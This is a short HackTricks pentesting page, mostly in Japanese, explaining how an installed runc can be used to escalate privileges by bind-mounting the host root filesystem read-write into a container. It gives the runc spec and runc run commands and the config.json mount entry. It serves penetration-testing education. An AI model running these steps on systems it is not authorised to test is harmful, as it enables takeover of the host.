RunC Privilege Escalation

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

基本情報

runcについてもっと学びたい場合は、以下のページをご覧ください:

page2375, 2376 Pentesting Docker

PE

ホストにruncがインストールされていることがわかった場合、ホストのルート/フォルダをマウントするコンテナを実行できる可能性があります。

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

これは常に機能するわけではありません。runcのデフォルトの操作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しません(rootless構成を持っている場合を除く)。rootless構成をデフォルトにすることは一般的に良い考えではありません。なぜなら、rootlessコンテナ内にはrootlessコンテナの外には適用されない多くの制限があるからです。

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェックしてください!

HackTricksをサポートする他の方法:

Last updated